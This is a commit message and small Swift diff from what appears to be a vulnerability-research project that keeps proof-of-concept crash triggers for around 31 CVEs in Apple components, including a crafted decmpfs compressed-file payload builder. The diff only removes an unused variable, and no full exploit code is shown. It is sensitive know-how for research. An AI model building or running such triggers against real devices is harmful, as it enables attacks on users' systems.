v2.0 — 31 C POC twins + harness fixes

- 31 C POC files, one per CVE folder: full seed construction + trigger +
  main(), self-contained, no app dependency. All compile clean with
  clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded
  oracle on this host.
- CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is
  (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the
  mechanism behind the cm.rpu death oracle on the simulator build.
- Harness fixes: glyphCount guard, MachOInspector size guard, ModTools
  clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display.
- POC comments rewritten English-only (31 swift + arc.rr + 5 py).
- README (en/zh): C twin column, .c anatomy section, compile/run
  examples, C oracle verification status.
- Dead if-let binding removed from Identity summary; v2.0 build 3.

Sources/Payloads.swift

@@ -466,7 +466,6 @@ enum Decmpfs {
         out.append(contentsOf: B.le32(typeZlibChunked))
         out.append(contentsOf: B.le64(UInt64(uncompressedSize)))
 
-        let headerSize = 16 + (chunkCount + 1) * 4
         var chunkBlobs: [[UInt8]] = []
         for _ in 0..<chunkCount {
             // flag 0x00 + zlib stream that decompresses to producePerChunk bytes of 0x41
@@ -498,7 +497,6 @@ enum Decmpfs {
         }
         offsets.append(running)
         for o in offsets { out.append(contentsOf: B.le32(o)) }
-        _ = headerSize
         for blob in chunkBlobs { out.append(contentsOf: blob) }
         return out
     }